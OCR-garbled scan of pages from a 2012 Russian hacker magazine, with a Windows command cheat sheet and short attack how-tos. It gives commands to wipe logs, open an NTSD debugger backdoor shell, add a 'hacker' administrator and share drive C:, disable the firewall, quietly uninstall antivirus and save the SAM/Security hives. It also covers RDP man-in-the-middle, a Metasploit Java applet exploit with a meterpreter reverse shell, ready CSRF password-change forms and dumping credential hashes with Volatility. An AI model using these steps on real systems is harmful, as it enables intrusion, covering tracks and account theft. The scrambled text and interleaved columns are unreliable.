; Эта команда выводит множество с ведений о системе, включая именахоста и домена, версию биоса, название сервера : для входа в сеть, настройки сетевых интерфейсов, а также данные об установленных в системе патчах. ~ Если хочешь вывести с писок процессов в наиболее удоб ном для чтения виде, надо взять на вооружение эту команду.

qprocess •

~ Для каждого процесса ты получишь имя пользователя,

..... ................................

о.. . .................

;

SET

. ~арр·~·~ ·~····

.... ............ ~

....................................

schtasks /query /fo csv /v >

~·..

10

сессии,

PID

.. .... .... ....... ... ..... ... .. ... '...... . .............'............ ... . .........

и название бинарника .

о. о.........

............... ......... .......... ...... .. .. .. ....... . ..............

~

J. Эта..к~~.~~~~.~.ы~~~ит список терминальных..:~~~~.~.ов, ~~.т~~~~.~.~~~.:'пны в домен.~.'.........................................................! ~ Выводит все сервисы в удобном формате csv, после чего их можно слить и более тщательно просмотреть.

%ТЕМР%

Команда, запущенная без параметров, пока зывает все задачи, запланированные с помощью встроенного

планировщика . Но главная фишка этой команды в том , что ее можно использовать для поднятия привилегий до SYSTEM (работает даже на Wiп7x64l. Например, команда, выполняющая ВАТ-файл do_so methiпg.bat с привилегиями SYSTEM в 15:41 , будет выглядеть так : at 15 : 41 / interactive "d:\pentest\do_somethiпg.bat" Имей в виду, что использовать команду может только администратор .

at

. ,............................................ ; ............................ .. .............. ..

~ Отображает все запланированные задачи, которые доступны пользователю для просмотра. В отличие от at, с помощью

: schtasks (XP+I

.............. ,.: .. net start

или

sc getkeyname "ХХХХХ" sc queryex "ХХХХХ"

~~.~.~~.~.~~. ~~.п~~~ ~~~~~.~~ .~~~ус~.~~~~~~.~~~~ .~~~.~~.~.~~~й пол.~.з~~.~.~~~ ~ lнео~~з.~~:.~.~.~.~. ~~~ ~ ~ 1................. ,.... . Отображает все запущенные сервисы

sc query

Первая команда позволяет получить запросить статус,

PIO

key

пате интересующего тебя сервиса. После его получения ты можешь

и другую информацию о сервисе с помощью второй команды.

.............................................................................................. j

tasklist (ХР+)

Еще одна команда для отображения списка процессов.

.........................

taskkill [/f] /pid <pid> taskkill [/f] /im <image_name>

Убивает процесс по имени или

.

......................... .

.... , .............

,

PIO

.......

! .~.~~.til·~·s·i ·n·~~ .~r.i~eS. .................... .........~.т~~.~.~~а.е~.~~.~:.ll\и.е ~иски в си~т~·~·~· lд~~.~с.~о~~~~.~~·~ ·~ ·я · ~:.~~~~..~:..а~~ а~.~ин·~·~.~~~.~~~~~.: ............................................... . : gpresult

/z

:

Выводит по-настоящему большой отчет о групповых политиках .

................................... .................................................................. ....................................................................................... , ... ,............................................. ........... : .-

РАБОТА СЛОГАМИ

В любой системе пишутся norи. Вернее, множество noroв. Ниже приведена небоnьшая подборка команд, с помощью которых ты сможешь посмотреть нужные тебе журналы или при необходимости удаnить их.

Выводит список всех логов, над которыми далее можно выполнить некоторые операции (просмотреть, удалить и т. д . !.

wevtutil el

Получение конкретного лога .

: wevtutil qe <LogName>

: ..

~~~~.~.~i~ ·c·'..~.~~.~~.~.~.~~ ........ . ......

: del %WINDIR%\*.Iog /а /s /q /f

.....

~~~~~·~·~ ·У·~.~~~~·~·~·' ·й ·~~~............ ............ ...... ................ ..... ................... ............... ............................................................... . Брутальный способ удал ения всех логов из папки WINDOWS.


УДАЛЕННЫЙ

Стандартные средства ным хостам

ДОСТУП

Windows не очень-то nозволяют nодключаться к удален­ no различным nротоколам и nринимать nодключения. Но кое-что

с их nомощью все-таки можно nредnринять.

%windir%\System32\cmd .exe /с ''%SystemRoot%\syst em32\Dism . ехе·· /online /get-features

Эту команду м ожно в ып олнить, только если у тебя есть права адми н а. но зато о н а позволяет вкл ючить многие опции

Windows Vista SP1/7/2008/2008R2, которые no умолчанию отключены, нап ри мер te lnet или ftр- клие нт ..

.................................................................... %windir%\System32\cmd.exe /с ''%SystemRoot%\system32\Dism. ехе" /online /enaЬie-feature 1 featurename:TFTP

В nрив еде нн ом приме р е эта команда вк л ю ч ает

TFTP. Это п оз в ол ит тебе ис п ользо в ать консольный FТР -кл и ент tftp.exe

для загр уз к и ф а йлов в с и сте м у.

Л юбая версия ОС

system32.

Windows

младше

Vista

по умол чанию включает отла д чик

ntsd.exe,

который н аход и тся в папке

Он предоставляет отличную возможность открыть на сис т еме шелл. Для это г о н уж н о акт ивировать

Ntsd -server tcp :port=1337 cal.exe Ntsd -remote tcp:server=<ip-

уд але н ную отла д ку [ первая команда), подключившись к какому- ни буд ь пр оцессу. После этого к с и стеме сможет

aдpec>, port=1337

под кл ючи т ься удале нн ый отладчик [вто р ая ком а нда). Е сли п осл е п од к л юче н ия он введет команду <<.shell>>, то п о л уч и т доступ к ко м андной строке. Этот трюк называется

NTSD

B ack d ooг.

i Под кл ю ч ает уда л е нны е сетевые ша ры .

net use

Реестр системы- настоящий кладезь информации , nроанализировать которую

РАБОТА

бывает очень nолезно. Тут нет особых nремудростей: через консоль ты можеwь

С РЕЕСТРОМ

сохранить некоторые ветки из реестра, сделать выборку или, доnустим, доба­

вить новый ключ (наnример, чтобы добавить новое nриложение в автозаnуск).

reg save HKLM\Security security. hive

~ Ко м а нда сохраняет вет ку security в файле. А н а л о гично можно, к примеру, сохранить ветку system.

..................................................................................... ..

'"

·······

""

.. ...

.. .......

..

................................................... ..

!. .

~~~-~-~-~е--~~-~-~-~~-~ ~--~-а-~.:~~~~ ........... в..~~-й-~-~- -~-~-~~~ -~-~~~~-~-~-~-~ -и SAM, но дл~ .э~~~~-~:.~~~~--~рав~ -~-д-~-~~-~~-~~~-~-~~~: ............................. .......... .......... . ге

add

[\\Та г

9. ][\К maln еу

etiPaddr\] [Re Do] g g

!: СН апоп ример, м о щью этой кома нды можно добавить в реестр нужный клю ч [в том числе на удал ен н ой маш и не TaгgetiPadd гl. <<R EG ADD HKLM\Sof tware\MyCo /v Data /t REG_BINAR Y /d f e340ead >> добав ит па раметр [ имя : Oata, ~ ти п : REG_BINARY, да нн ые: fe340eadl .

.. ...................... "...........

reg export [RegDomain]\[Key] [FileName] reg import [FileName] reg query [\\TargetiPaddr\J [RegDomain]\[ Кеу] /v [Valuename!]

ПОИСК ПОЛЕЗНЫХ

ФАЙЛОВ

........

................

~ Выполня ет простой э к с n орт дан ны х из р еестра . И м п орти рует данные в реестр.

· ; Выnолня ет n оис к п о р е естру.

Банальный поиск файлов по диску, казалось бы, элементарная задача. Но как

ты будеwь искать, скажем, на диске С: файл с названием

sam_backup.dat? Если

ты знаеwь, как это делается,- молодец, переходи к следующему разделу.

А мы пока приведем пару полезных сниппетов:

tree C:\/f /а> C:\output_ of_tree.txt

dir \ /s /Ь 1 find

/1

"search_string"

В ывод и т список всех директорий и файлов д иска С: в д р ево в ид н о м виде, за п исывая их в файл.

Ищет п о в ы в оду к ома нды d i г и з ко рн я теку ще го ди ска 1\1и п о всем п оми р е ктория м 1/sl с и с поль зо вани е м фор м ата ba se 1/bl стр оку se aг c h_s t гi n g, котора я м ожет встрети тьс я где угодн о в ф а йл е и в п ути к ф ай л у.


Пользователь, имеющий доступ к консоли, может прибегмуть к еще одному мощному

ИГРЫ

инструменту- WMI (Windows Management lnterfacel. Помимо довольно навороченных

CWMIC

скриптов, можно активно использовать WМI-консоль (WMICI: ниже приведено не­ сколько довольно простых примеров, иллюстрирующих, чем она может быть полезна .

~

1 Описание С помощью

wmic baseboard get Manufacturer, Model, Product, SeriaiNumber, Version

WMI мы

можем составлять разл ич ны е за п рос ы для пол уче ния инфо р ма ц и и о р азли ч ны х

объектах системы. К пр и ме ру, мы можем п опросить WМ I -объект lcompu t eгsyste m, или bios, или , как в да нн ом п римере, base b oaгdl вернуть значение некоторых е го n араметров. В ывод оф о р м л яется в удобном дл я чте ни я ф о рм ате. Кома нда в пр и мере возв ра щает дан ны е о ма тери н с к о й пл ате.

wmic nicconfig get caption, macaddress, ipaddress, DefaultiPGateway

Извлече ни е инфор ма ции о сетев ы х ада пте р ах : н азва н ия, М АС - а др еса, IР- а дре са , з ада нного по умол ч а ни ю шлюз а.

wmic nicconfig where "IPEnaЫed = 'TRUE ' and DNSDomain 15 NOT NULL" get DefaultiPGateway, DHCPServe r, DNSDomain , DNSHostName, DNS ServerSearchOrder, IPAddress, IPSubnet, MACAddress, WINSEnaЫeLMHostsLookup, WINSPrimaryServer, WINSSecondaryServer /format :li st

П од робнаяи н фо р ма ци яобактивныхсетевыхада пте р ах.

wmic printer get Caption, Default, Direct, Description, Local, Shared, Sharename, Status

П ол уч е ни е с п иска nринте р ов с их п арамет рами, в том чис л е сете в ым и им е н а ми .

wmic os get bootdevice, caption , csname, currenttimezone, installdate, servicepackmajorversion, servicepackminorversion, systemdrive , version, windowsdirectory /format:list

И зв л е ч е ни е инфо р ма ции о системе.

wmic product get Caption, lnstaiiDate, Vendor

И зв леч е ни е списка уста но вле нн ых п рограм м .

wmic path win32_product where " name = ware Update"' call Uninstal

'НР

Soft-

: Удале н ие программы НР Softwaгe Update.

Приведеиные ниже команды производит активное воздействие на систему и меняют ее

АКТИВНОЕ

параметры, позтому факт их использования в некоторых случаях можно легко отследить.

ВОЗДЕЙСТВИЕ

Однако без них часто попросту не обойтись.

НА СИСТЕМУ netuserhackerhacker/add

: net localgroup administrators /add hacker или . net localgroup administrators hacker /add ; ....................................... .. : net share nothing$=C :\ /grant:hacker,FULL /unlim: ited

Создае т нового локал ь н ого пользовател е м с именем hackeг и таким же парол ем .

Д обавля ет п ол ьзова т еля h ackeг в гр у пп у л о к а л ьных админ о в .

Рас ш ар и вает ди с к С: и п р е доставляет пол ьзователю hackeг пол н ы е пра в а досту п а.

...........................................................

: net user username /active:yes /domain netsh firewall set opmode

disaЫe

wmic product get name /value wmic product where name="XXX" call uninstall/ nointeractive rundll32.exe user32.dll, LockWorkStation

;

Е сл и ка ки е-то п ол ь зователи заб л ок иров а н ы (к при м еру, стары е а к к и админи стратор о в до м е н а ) , то их можн о р азбло кир о в а ть. Отключает стандарт ный файервол

Windows.

Перв ая к о м а нда п оз в о л яет пол уч и т ь с пи сок уста н овл ен н о го со фта, а вто р а я- н еза м етно уда лить

н уж н у ю пр о грамм у (н а п р им е р , а нт ив ир ус).

Б лок ир ует ( лоч ит) экран п ользовател я.

..........................................................................................:...................................... .


ВЗЛОМ/ЕАSУНАСК

Алексей

ПОЛУЧИТЬ АДМИНСКУЮ УЧЕТКУЧЕРЕЗ

<<GreenDog» Тюрин, Digital Security ltwitter.com/a ntyurinl

MITM

НА

RDP

IЬi•rЯ!!t.·:t т.

Дава й рассмотрим вполне обыденную для какой-нибудь компании ситуацию. Есть толпа обычных до менных пользователей, есть некие

т

т

51 Трафик расшифровывается на ос н ова н ии полученных д анных [он зашифрован симметричным RC4 ).

админы и т ех поддержка. Последняя, понятное дело, обладает уже при вилегиреванными правами , поэтому нас и интересуют учётки

суппорта. Что мы можем сделать?

Существует чудесный протокол

Вообще , это первоначальный вид МiТМ-атаки. Был выпущен патч, который позволил клиенту осуществлять проверку открытого ключа

RDP, который

позволяет получить

с ервера. Проверка выполнялась за счеттого, что сервер пере­

доступ к удаленному рабочему столу ха ста. Этот протокол как раз

давал клиенту ещё и МD5-хеш открытого к люча , за шифр ованного

и используют для удалённого администрирования винды. Ведь это

закрытым клю чо м [ т. е. подписи). но в ее реализации был косяк.

чрезвычайно удо бно: <<ИЗ коробки» работает привя зка к учеткам

Для подписи использовался захардкожен ны й в ОС закрытый ключ,

в домене, а серверная часть предустановлена во всех версиях

то есть по дделать подпись не сос тавлял о труда. Зачем так было

Windows, начиная с Х Р и 2000 [и д аже с е щ ё более ранних). Вообще.

сделан~ непонятно.

Д ля заин тер есовавшихся рекомен д ую статью п о теме

nр отокол д ос т аточно хоро ш о защищен- з д есь и шифрование, и возможность применения

TLS . Н о

не все так хорошо, как может по­

g:l[ZyAQy). В

итоге на

[gQQ, RDP можно провести MiTM, про снифать тра­

казаться на первый взгляд, что нам только на руку. Протокол млад­

фик без появления всяких окошек с предупрежде ниями об опас­

ше 6-й версии уязвим к атаке

ности . Всё э т о и реализовано в чудо-тулзе

man-in-the-middle [MiTM), благодаря

Cain&Abel [www. oxid .i tl:

чем у мы можем расшифровывать данные, которыми обмениваются сервер и клиент, в том числе лаги н и nа роль . С учётом того, что ХР

11

все ещё широко исnользуются как клиентские ОС, то мы запросто

21 Далее открываем вкладку ARP и выбираем ARP в дерев е слева . 31 Кл икаем на плюсикдля добавления в сnисок. L.l Выбираем в списке наши жертвы: слева указываем сервер, справа

можем похитить учётку админа . По сути, труднее всего здесь буд ет << заставить>> админчика подключится по

MiTM

RDP.

Но если мы прове д ём

на клиентскую тачку, помучаем её , отключая, например, до­

ступ в Сеть, то её п ользова те ль в скором времени позвонит в техпод­

Во вкладке Sпiffeг запускаем Sсап МАС addгess.

-клиенты, в то м числе в видедиапазон а .

51 Зап у скаем снифер и aгp-poisoпing .

д ержку и попросит удалённой помощи, что нам и нужно: ) . Для л учше г о понимания дав ай рассмотрим сам алгоритм МiТМ­ атаки на пр отокол

RDP

младше 6-й версии:

Д а л ее ос таётся только ж дать . В случае ус п е шной МiТМ-атаки в вет­ ке

ARP-RDP

появятся за пи си о файлах дамп ов RDР-трафи ка . Е сли

этого не произошло, зна чит, либо не было подключений. либо ис­

Ol Пр оизводится ARP - или DN S-спуфинг. Таким образом, мы << ви­

11

6 или

выше . Н о что д елать с дампом?

Просматривая его. мы не найдем логин и параль в виде отдельной

Клиент подключается к серверу.

строчки. В данном случае в дампе хранится то, что п ол ь зователь

21 Сервер посылает в ответсвой открытый ключ с рандомны м salt ' oм. Подменяем ключ на поддельный.

31 Клиент отвечает рандома м , зашифрованным поддельным откры­ тым ключом .

L.l Мы расшифровываем рандом нашим поддельным закры ты м ключом и крип т уем е г о на сто ящим сер верны м.

050

пользовался пр отокол версии

дим» весь трафик между клиентом и сервером .

ввел с клавиатуры. А потому, чтобы не рыться самому, можно вос­

пользоваться мини-утилитой от lгongeek ' a

[goo.gi/Embxsl. Запустив

её и выбрав дамп расшифрованного RDР-трафика, на выходе мы получим то, что вводил клиент. Имеется соответствующая видеоде ­

монстрация [goo.gl/pydMZI. Пр облема серьезная, особен н о с учётом то г о, что на

2003

винде се рв ер ная часть поддерживает

RPD 5.0.

ХАКЕР

01 / 156/201 2


EASY НАСК

АТАКОВАТЬ ПОЛЬЗОВАТЕЛЯ С ПОМОЩЬЮ

JAVA

вате лю выдается пр е д у пр еж д ение о том, что будет за п у щ е но Бр аузер и е го плагины , в том ч ис ле

Java,

являются о дними из основ­

ных объектов атак, направленных на пользователя. Конечно, не так распространена, как

Fl ash,

Ja va

н о зато р еже обновляется, чем и

J аvа- прил ожение. Однако его огром но е пр еимущес тва состоит в том, что о н не использует никакие нагрузки, а также за гр ужа­

ет на машину пользователя любой экзешник и запускает е г о,

пользуются плохие п арни. Как может выглядеть атака? Для н ача ла

что значите льн о рас ш иряет наши возможности в некоторых

необходимо о пр е д елить, какая версия

ситуациях. Чт о д елать с предупреждением? Н иче г о':] В д анном

Java ус т ановлена

у п ользова­

теля, и выбрать соответствующий эксплой т. На сайте javatesteг.oгg/

случае нам поможет либо JavaScгipt, который будет при ставать

veгsioп.html ес ть пара хороших вариа нтов . Дальш е нужно в к люч ить

к юзерус просьбой о запуске Jаvа-апплета, либо со циальная

социальную инженерию и за действовать любые др у ги е способ ы ,

инженерия. Кстати, существует интересная с тат ис ти ка, касаю­

чтобы переадресовать п о ль зова теля на зара н ее сформиро ванн ую

щаяся социальной инженерии и практического п рименения э т ого

страни цу. Какие экс плоиты обыч н о пускают в хо д? Наприм ер, можно взять не особо палевный хоро шень кий сплоит к уязвимости-ф иче

CVE-201 0-4452,

о котором не так д а вн о пи сал наш журнал. Атака реа­

лизуется хакерами очень про сто, так как сплоит есть в

Metasploit'e:

модуля l defcoп- r ussia . гu/wa ll. t x t ]. Пр още всего воспользоваться SET [Social Епgiп еег Too lkit].

этим эксплой т ом с помощью тулкита Он входит в комплект B ackTгack

д ос т у п е н для за гр узки на

оф ициальн ом сайте l www.social-e пg i п ee г. oгg].

SET автоматиче ски

создае т фишинговый сайт, и в этом его главны й бо н ус. Запускаем

11 Выбирается сплойт: use exploit/wiпdows/browser/java_codebase_trust 2) Указывается путь к нему и порт : set URIPATH test.php set LPORT 88 3) Указывается нагрузка: Set payload java/ meterpreter/ reverse_tcp 4) Выполняется запуск: Exploit Вот и явав ская версия Меtегргеt ег приг о дил ась лать, ес ли версия

Ja va

:]. Н о что де­

пропатчена ? Можно воспользоваться

у нив ерса льным зкс пл ой т ом. У нег о ес т ь од ин косяк: п о ль зо-

SET

и п осле д овательно выбираем:

1) Website Attack Vectoгs; 2) The Java Applet Attack Method; 3) Web Templatesдля использования существующе г о шаблона [или Site Сlопег для автоматического создания клона сайта]; 4) Gmail для соз д ания клона почты Gmail; 4) lmp oгtyouгown executaЫe, ч т обы использоватьсобственный ехе­ файл. В кон ц е впи сывается п уть к ехе-фай л у. В се, теперь злоумышленнику остает ся только заманить клиента на сайт и подождать , п ока он со­ гласится на запуск

Java .

ОРГАНИЗОВАТЬ ДОСТУП В ИНТЕРНЕТ В ОБХОД ПРОКСИ

Что, закры ли до с т уп к В Контакте на работе? Что д елать?

Пр описываем прокси-сервер в браузере и радуемся интернету .

Паник ова ть ? Менять работу?:] Можно использовать зеркала,

Конечно, для лучшей юзабельнести стоит прописать это т пр окси

но а дминчики тоже до с таточно быстро их прикрыв ают, ведь на­

как сервис и ввести аутентификацию. И то и др угое легко реали­

чальство сказа л о, что народ не д о л жен бездельничать, засижи­

зовать через конфиг-файл Зргоху. Как о пр е д елить, заб локирован

ваясь в соцсе тя х. Конечно, можно подр ужиться и договориться

ли исхо дящи й трафик из корпоративки? В про стей шем случае зто

садми н а ми [и э то самый лучший выход

:11,

н о можно и п ой ти

известно пользователям [как в случаях с внешней почтой). Также

обходным путем. Н апример, если исходящий трафик из корпора­

можно проверить, заблокирован ли трафик, под ключившись с по­

тивки не фильтруется по каким-то портам и протоколам, то это

мощью браузера без пр окси к каким -ни будь порт ам хос тов в Сети

можно использова ть . Рассмотрим распространённый случай:

[типа

пусть для пользователей разрешён доступ по SMTP [25/ТСРI

приветственное сообщение сервиса. Конечно, сканер типа

для того, чтобы они могли читать свою почту с

позволяет добиться более точных результатов. То гда можно будет

Gmail

или Mail.гu.

www.example.com:25l. Если порт доступен, то мы пол учим nmap

Как, я думаю, уже ясно, чтобы обойти прокси, нам потребуется,

попробовать и другие протоколы, типа

по сути, поднять свой прокси на каком-нибудь сервере в инете

нации с ТСР, например ТСР-АСК. П о идее, пр и большей свободе ма­

и пр описа ть е го в браузере. Гд е в зя ть сервер? Можно ку п и ть

нипуляций можно д оби ть ся инкапсуляции п оч ти любого нео бхо ди­

виртуальный сервер за

мого трафика в д о п ус тимый исходящий трафик из ко рпоративной

150

рублей в месяц . Н о ещё лучше, ес ли

д ома ты выходишь в Сеть с внешнего

IP.

В качестве прокси можно

UOP

и

ICMP, и

всяки е махи­

сети и ор ганиз о вать таким об разом канал связи.

взять Зр г оху l www . Зproxy . ru l, который о дновр еменно и прост, и функ ци о н а л ен. К тому же е г о ра зрабо т ал знаменитый ол д скуль­ ный хакер ЗАРАЗА. П омнится, я хо дил на его сайт security. пnov. гu лет десять назад, и мне всегда хотелось поблагодарить е го за хороший ресурс, что я сейчас и делаю, п ользуясь служеб ны м

Proxy server

0

Use а proxy server for your LAN (These settiпgs will поt apply to dial-up or VPN coпnections),

положением. :1 Для практической р еализации нам потребуется с качать либо исхо дник и [для *н иксов], л ибо экзешнички [д ля

Address:

виндыl и запустить проксик на необходимом порте с помощью

О Bypass proxy server for local addresses

следующей команды:

pro)(y

ХАКЕР

-р25

01/156/ 2012

~['iiiiiiiiiiiiiiiiil]l

Port:

~ 1Advaпced ...

J

Проксик может быть на любом порте

051


ВЗЛОМ 1EASY НАСК

ВЫЯВИТЬ ИСПОЛЬЗОВАНИЕ REVERSE-ПPOKCИ

Продолжая ~ачатую тему прокси , хочу рассказать тебе о геvегsе­ прокси. Что это такое? Это некий сервер, который выдаёт себя за

веб-сервер, хотя на самом дел е только передаёт запросы [прокси­ рует) от клиента настоящему в еб-серверу и отсылает его о тв еты клиенту. За ч ем это нужно? Ц е ли могут быт ь ра з ны е. Наприм ер, геvегsе- пр окси можно использовать для ра с пр е д еления нагр узки

между несколькими внутренними веб-серверами, в качестве

WAF

или специализированного SS L- cepвepa, обеспечивающе г о до­

полнительный у ровень защиты , или кэширующего прокси [думаю, его назначение ясно без дополнительного об ъя снения) . Возмож­ ны и комбинирован ны е варианты . В лю бом с л учае присутствие проксиков чаще всего с т араются скр ыть, а сами прок си призваны

ск рывать вн у треннюю структуру системы [ де йс твит ельно, зачем о

Результат работы HПP-traceroute.

Squid в

качестве

reverse proxy

Что такое

reverse-npoкcи у Wikipedia.org

ней зна ть кому-то «с нар ужи»?). Как раз раскрытием и того и друго­ го мы сейчас и займёмся.

уже ничего нельзя, а точнее если значение получилось равным

Выявить геvегsе-проки и узнать внутрен ню ю с тр уктуру всей

нулю, т о этот сервер должен отве т и ть так, как будто он ко нечны й

систему в целом- интересная задача . Н о как же ее решить? Ведь

получатель. Дл я други х методов, типа

прокси пр осто п ередает п о л у ч ен н ый о т клиента за пр ос д альше на

поля не обязательна . П о сути, это аналог п оля

GET

и

POST, обработка э т ого TTL в IР-пр отоко л е.

веб-сервер . Пр още все го в данн ом случае просматривать за г олов­

Никола е не об л омалея сос тряп а ть т у л зу, от пр а вляющую за пр ос ы

ки ответов от сервера . Например, в них может содержаться заголо­

веб-серверу и анализирующую ответы, то ест ьвне ко тор ом роде

вок X-F oгwaгded-Foг, по ко тором у часто можно распознать наличие

НТТР-аналог tгaceгoute. Даж е с учётом того, что ТRАСЕ -мето д

пр окси, но зто го маловато! Н а са мом деле , протокол НТТР- вещь

часто запрещено использовать для обработки на веб-серверах, а

мощная, и многие не в курсе его ма л еньких приятных особенно­

другие методы не реглам е нтированы

стей. По э т ому давай пр исмо трим ся к н а ра бо т ке француза Ни ко ласа

хорошо обрабатывает поле MaxFoгwaгds. В отличие от tгa ceгo ut e,

Гр егуара lgoo.gi/VObeW). В стандарте для пр о т око ла НТТР, а точнее

мы можем получить гораздо бол ьш е полезной информации, к при­

в

RFC 2616

для версии

1.1,

говорится о таком поле заголовка, как

Ма х Foгwaгds . Это поле, которое хранит в себе цифровое значе­

ние, используют как минимум методы

TR ACE

и

OPTIONS.

RFC,

на пра к тик е ме т о д

GET

меру внутренние IР-адреса проксиков и их версии. Использовать ту л зу очень просто:

При его

наличии каждый гейт и прокси-сервер должны от ним ать единицу

перед передачей данных с л е д ую щ ему получателю. Е сли отнять

HTTP-Traceroute.py -t www.victi m.com GET/POST)

СДЕЛАТЬ ЧТО-НИБУДЬ С ПОМОЩЬЮ

-m

метод

CSRF

(TRACE/

ы.rА\!И L LJ

чего п о л учает возможность войти на него п о д ее аккаунтом с изме­ В связи с про с ветительской де ятельностью журнала не мо г у не кос­

ненным паролем. Но GET- зan p oc- это с лиш ком просто . Что д ела ть ,

нуться такой интересной темы, как

если для изменения пароляиспользуется метод РОSТ? В таком

CSR F [Cгoss Site Request Fогgегу,

П о дделка межсайтовых за пр осов) . Это вид а та ки, направленный на

случае создаем следующий код:

посетителей веб - сайтов . Е сли жертва захо дит на сайт, созданный з лоумышленником, от её лица тайно отправляется за про с на другой

сервер [например, н а сервер пл а т ёжной сис темы) , осуществляющий

некую вредоносную операцию [например , перевод д енег на счёт злоу мышленника) . Интересно , что атака осуществляется на пользо­ вателей системы, тогда как защита организуется на стороне сервера,

то есть о ней частенько забывают, а потому и встр ечается такая атака

<form name=passwd action= "http : //server.com/change_password.php" method="post" > <input type=hidden name= NP value= new_pass > <input type= "submit" > </form> <script>document.passwd.submit(); </script >

нередко . Как ни с транно , из браузера можно о тпр ав ить можно почти любой за пр ос, особен н о если д ос т уnе н Ja vaSc гipt . Пр едположим, что мы хотим захватить аккаунт какого-нибудьюзерана каком-нибудь

Хорошоl А что ес ли изменения вносят ся в р езультате

эanpoca? Нет проблем- от правляем XM L- зa np oc.

XML-

:)

сайте. На этом сайте есть скрипт для смены пароля п ол ь зователем.

Для смены требуется отп р авить GЕТ-эапрос сле д ующе го в и да : http:// seгveг.com/change_passwoгd.php? NP=пew_pass, где пew_passпа роль, который мы п ос т ави м нашей же ртв е. Итак , от нас требуется только соз д а ть НТМL'ку и впи сать в н её следующий код :

<iframe src= http ://server.com/c hange_password.php?NP= new_pass>< / iframe> Злоумышленник заставляет жертву п осетить сай т, в результате

052

<form name=passwd ENCTYPE="text/plain " action="http : //server.com/change_password.php" METHOD="POST" > <input type=hidden name= '<?xml version' value= '"1.0"?><User><Password>new_pass</Password></User>' > </ form> <script>document.passwd.submit();</script> Идея, думаю, ясна. Отправить можно что уго дно куда у г о дно ; ) .

ХАКЕР

01 /156/2012


EASY

ПРОАНАЛИЗИРОВАТЬ ДАМП ПАМЯТИ

Компьютерная криминалистика !или, как ее еще называют,

НАСК

er..i.шr.~t --ль-

digital

foгensicsl- нужное и важное направление , которое сейчас стало особенно модным. В операционной системе имеется множество компонентов, которые хранят д оказательства и следы взлома или

преступления,- это вообще очень обширная тема для исследо­ вания. Сегодня мы расскажем об одном из таких компонентов и рассм о трим , что можно извлечь из оперативной памяти :

• • • • • • • • • •

список запущенных процессов ; сnисок открытых се тевых сокетов;

список открытых сетевых соединений; перечень всех DLL-библиотек для каждого процесса; список открыт ых файлов для каждого процесса ; список используемых ключей реестра для каждого процесса;

список модулей ядра ОС; информация о Viгtual Addгess Descгiptoг; адресное пространство для каждого процесса; и т.д .

Короче говоря, в памяти содержится много интересной и полез­ ной информации, но, чтобы извлечь и проанализировать ее, нам

Виндовые учётки из дампа памяти

потребуют с я некоторые инструменты. По зволь сразу познакомить

тебя с фреймворком для анализа дампов п амяти Volatility 19QQД]L

Hi5ip l. Фреймвор к написан на Python'e и поддер живает все версии ОС Windows !начиная с XPI, правда , только 32-битные . Возмож­

Зде сь:

все основные nотребности компьютерного криминалиста. Я при­

• imageinfo- вы бранный модуль фреймворка; • f d:\te st.гaw- путь к файлу с дампом. Volatility выдает набор какой-то непонятной информации . ;l Отсюда мы возьмём только имя профиля IWinX PSP3x86l, который

веду лишь несколько примеров, которые могут быть nолезны для

будем использовать далее . Итак, какую информацию добыть?

пентестерских дел.

Пр остейший пример- изв лечение из дампа списка запущенных

ности модулей, которые входят в состав фреймворка, покрывают

Прежде чем приступать к анализу дампа памяти !то ес ть файла с ее содержимым!, давай разберемся с тем, где этот самый дамn взять . Вариантов тут тьма тьмущая, но если память необходимо

процес со в:

volatility pslist -f d:\test.raw

--profile=WinXPSPЗx86

сдампить максимально быстро и незаметно, советую тебе вос­

поль зо ваться утилитой MoonSols Dumplt ihttp://goo .gi/BY1QN J. Эта

Или , например, спи ска сете вых подключений:

мини -т улза имеет только одну функцию: д елает дамп памяти и сохраняет ее содержимое в файле « рядом с собой». Создатели со­

volatility netscan -f d :\test.raw

--profile=WinXPSPЗx86

ветуют кинуть утилиту на флешку . Все, что nотребуется дальш е, ­

это минута админского доступа в ОС ! еще лучше, если атакуемый компьютер подд ерживае т автозапуск с USBI. Хорошо, дамп ес ть- что дальше? Теперь дело за

Volatilit y.

Кстати, чтобы не возиться с Python'oм, рекомендую с качать от­

А что если посмотреть что-то более интересное и, например, п олучит ь учётки, которые хранятся в

SAM, или ещё какую-нить LSA? Для этого нам потребуется реестру Windows нашего дампа.

л юбоп ытную информацию из организо вать доступ к

дельные stаndаlоnе-зкзе шники , в которые все уже включено . Для начала посмотрим, что за дамп мы имеем:

volatility.exe imageinfo -f d: \test .raw

volatility hivelist -f d:\test.raw Здесь

hivelist-

--profi le=WinXPSPЗ x86

модуль для вывода информации реестра, а

точнее путей и виртуальных адресов тех или иных веток реестра.

Используя полученную информацию , запускаем следующий модуль:

volatility hashdump -f d:\test.raw -у ехеlезsьбе -s exelsesьбe

--profile=WinXPSPЗx86

З д есь:

• hashdump- модуль для вытаскивания данных об • у Охе1035Ь60- виртуальный адрес куста System; • s Охе1805Ь60- виртуальный адрес куста SAM.

учётках;

Как видишь, всё просто и быстро. Кроме того , фреймворк также понимает файлы крэшдампов и гибернации. Но возможностей,

как я писал, ещё больше. Так что посмотри вики на сайте

Volatility.

Чтобы быстро получить список всех модулей , которые входят в Дамп памяти в два кпика

ХАКЕР

01 /156/2012

фреймворк, а также их описания достаточно запустить приложе­

ни е без пара метров.

053


Павел Александрович [ivinside.Ьiogspot.coml

ВЭЛОМ/ОБЗОРЭКСПЛОИТОВ

Обзор эксплоитов

1

Дмитрий Михайлович

[115612, д е р . Красная звездочка, д .11

Перепоnнение буфера в

Microsoft Office 2007

Excel.xlb

CVSSV2 111111 111 11 11 11111 1111

9.3 111 11

IAV: N/AC :M/AU: N/C:C/J:C/A:C) []]Ш Дата релиза :

5 ноября 2011 года . Aniway, abysssec, sinnЗг, juan vazquez. CVE: CVE-2011-01 05.

Автор:

В конце октября- начале ноября появилось

В начале ноября в Сети появил с я эксnлоит для уязвимости, ко тора я

достаточно много новых интересных продуктов

проявляется пр и обработке специальным образом созданно г о хiЬ ­

индустрии эксплоитостроения. К сожалению,

файла

рассказать обо всех достижениях современной науки и техники в рамках этого обзора не пред ­ ставляется возможным, поэтому мы, следуя

Excel.

В результате использования этой уяз вимости атакую­

щий получает ни много ни мало полный кон т роль над уд а л ен но й системой .

Цf:JЦ!•Iii

Excel позволяетсоздавать и

настраи в ать пан ели для бо л ее уд об­

студенческой пословице «Лучше пи на три в

ного и эффектив н ого использования ра з личны х ин струменто в,

рукаве, чем неопределенный интеграл в небе »,

причем эти п а н ели можно сохранятьдля повторного использо­

отобрали наиболее выделяющиеся сплоиты.

инструментов им с ют расширение

051,

вания !например , на другом компьютере). Обычно такие панели

xl b.

